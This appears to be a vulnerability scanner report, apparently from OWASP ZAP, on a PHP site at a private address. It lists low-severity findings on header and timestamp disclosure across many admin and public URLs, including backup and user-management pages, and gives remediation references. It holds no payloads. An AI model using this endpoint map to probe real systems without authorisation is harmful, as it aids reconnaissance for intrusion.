Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

http://192.168.1.10:80/admin/include/connect.php
http://192.168.1.10:80/admin/include/session.php
http://192.168.1.10:80/admin/logout.php
http://192.168.1.10:80/include/connect.php
http://192.168.1.10:80/include/session.php
http://192.168.1.10/
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/Delete_Customer.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/messages_box.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

http://192.168.1.10/admin/ADMIN/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/ADS/Delete_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/index.php
http://192.168.1.10/admin/ADMIN/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/delete_product.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/delete_product.php
http://192.168.1.10/admin/ADMIN/AS/index.php
http://192.168.1.10/admin/ADMIN/AS/print_products.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10


URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/OOS/
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php


Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/OOS/index.php
http://192.168.1.10/admin/ADMIN/OOS/print_orders.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_product.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method POST

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7


URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/backup.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_asset_archive.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_customer_archive.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/backup.php
http://192.168.1.10/admin/ADMIN/SERVER/delete_asset_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/delete_customer_archive.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1


Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/index.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/index.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/login.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/mail.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php

Method POST

http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php
http://192.168.1.10/admin/index.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php
http://192.168.1.10/mail.php
http://192.168.1.10/product_details.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=11
http://192.168.1.10/product_details.php?%20id=2
http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=6
http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=8


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

Instances 494

Solution Ensure that your web server, application server, load balancer, etc. is configured to 
suppress "X-Powered-By" headers.

Reference
http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-

 headers.aspx
http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html

CWE Id 200

WASC Id 13

Plugin Id 10037

Low Timestamp Disclosure - Unix

Description A timestamp was disclosed by the application/web server - Unix

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1373503546

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=3
http://192.168.1.10/register.php
http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx
http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx
http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
https://cwe.mitre.org/data/definitions/200.html
https://www.zaproxy.org/docs/alerts/10037/
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js


Attack

Evidence 1382605366

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1404277552

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1423857449

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1426400815

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1454621731

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1466479909

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1483230225

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1504918807

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1510334235

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1541320221

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js


Evidence 1555261956

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1567103746

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1591671054

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1594198024

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1622183637

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1634467795

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1658658271

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1661365465

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1684777152

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1706088902

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1711684554

http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js


URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1742555852

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1759359992

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1762050814

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1789927666

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1802195444

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1812370925

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1843258603

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1852507879

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1873836001

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1886057615

URL http://192.168.1.10/bootstrap/js/customize.min.js

http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js


Method GET

Attack

Evidence 1907459465

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1913087877

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1943803523

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1957810842

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1969922972

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1373503546

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1382605366

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1404277552

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1423857449

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1426400815

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET
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Attack

Evidence 1454621731

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1466479909

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1483230225

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1504918807

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1510334235

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1541320221

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1555261956

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1567103746

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1591671054

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1594198024

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack
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Evidence 1622183637

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1634467795

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1658658271

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1661365465

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1684777152

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1706088902

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1711684554

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1742555852

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1759359992

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1762050814

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1789927666
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URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1802195444

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1812370925

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1843258603

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1852507879

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1873836001

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1886057615

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1907459465

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1913087877

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1943803523

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence 1957810842

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js
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Method GET

Attack

Evidence 1969922972

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1373503546

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1382605366

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1404277552

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1423857449

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1426400815

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1454621731

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1466479909

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1483230225

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1504918807

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET
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Attack

Evidence 1510334235

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1541320221

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1555261956

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1567103746

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence 1591671054

